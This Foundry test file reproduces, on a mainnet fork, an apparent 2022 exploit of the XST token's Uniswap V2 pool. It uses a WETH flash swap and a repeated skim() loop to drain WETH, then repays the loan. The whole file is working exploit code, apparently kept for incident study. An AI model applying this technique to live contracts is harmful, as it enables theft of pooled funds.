src/test/2022-08/XST_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.13;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// Pool1: UniswapV2 WETH/USDT
8// Pool2: UniswapV2 WETH/XST
9// https://tools.blocksec.com/tx/eth/0x873f7c77d5489c1990f701e9bb312c103c5ebcdcf0a472db726730814bfd55f3
10 
11contract XSTExpTest is Test {
12    address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
13    address constant UniswapV20x694f = 0x694f8F9E0ec188f528d6354fdd0e47DcA79B6f2C;
14    address constant XST = 0x91383A15C391c142b80045D8b4730C1c37ac0378;
15    address constant XStable2 = 0xb276647E70CB3b81a1cA302Cf8DE280fF0cE5799;
16    address constant UniswapV20x0d4a = 0x0d4a11d5EEaaC28EC3F61d100daF4d40471f1852;
17    address constant USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
18    CheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
19 
20    function setUp() public {
21        cheat.createSelectFork("mainnet", 15_310_016);
22    }
23 
24    function testExploit() public {
25        uint256 balance = IERC20(WETH).balanceOf(UniswapV20x694f);
26        IUniswapV2Pair(UniswapV20x0d4a).swap(balance * 2, 0, address(this), "0000");
27        uint256 WETHBalance = IERC20(WETH).balanceOf(address(this));
28        console.log("now my weth num: %s", WETHBalance / 1e18);
29        IERC20(WETH).withdraw(WETHBalance);
30    }
31 
32    function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {
33        if (keccak256(data) == keccak256("0000")) {
34            uint256 balance = IERC20(WETH).balanceOf(address(this));
35            IERC20(WETH).transfer(UniswapV20x694f, balance);
36            uint256 uniswapETHBalance = IERC20(WETH).balanceOf(UniswapV20x694f);
37            (uint256 amount0Out, uint256 amount1Out,) = Uni_Pair_V2(UniswapV20x694f).getReserves();
38            console.log("Reserve amount %s", amount0Out);
39            uint256 borrowXST = amount0Out * balance / uniswapETHBalance;
40            console.log("Swap xst %s", borrowXST);
41            Uni_Pair_V2(UniswapV20x694f).swap(borrowXST, 0, address(this), "00");
42            Uni_Pair_V2(UniswapV20x694f).sync();
43            uint256 b1 = IERC20(XST).balanceOf(address(this));
44            uint256 b2 = IERC20(XST).balanceOf(UniswapV20x694f);
45            console.log("My xst balance: %s, uniswp xst: %s", b1, b2);
46            IERC20(XST).transfer(UniswapV20x694f, b1 / 8);
47            for (uint8 i = 0; i < 15; ++i) {
48                Uni_Pair_V2(UniswapV20x694f).skim(UniswapV20x694f);
49            }
50            Refund(amount0);
51        } else {
52            // do nothing
53        }
54    }
55 
56    function Refund(
57        uint256 amount
58    ) internal {
59        Uni_Pair_V2(UniswapV20x694f).skim(address(this));
60        uint256 nowXSTBalance = IERC20(XST).balanceOf(address(this));
61        IERC20(XST).transfer(UniswapV20x694f, nowXSTBalance);
62        (uint256 a0Out, uint256 a1Out,) = Uni_Pair_V2(UniswapV20x694f).getReserves();
63        uint256 swapAmount = a1Out * 9 / 10;
64        Uni_Pair_V2(UniswapV20x694f).swap(0, swapAmount, address(this), "00");
65        uint256 nowWETHBalance = IERC20(WETH).balanceOf(address(this));
66        console.log("my weth balance: %s", nowWETHBalance);
67        uint256 v = amount;
68        uint256 fee = v * 4 / 1e3;
69        uint256 refund = v + fee;
70        console.log("Refund %s:", refund);
71        IERC20(WETH).transfer(UniswapV20x0d4a, refund);
72    }
73 
74    fallback() external payable {}
75}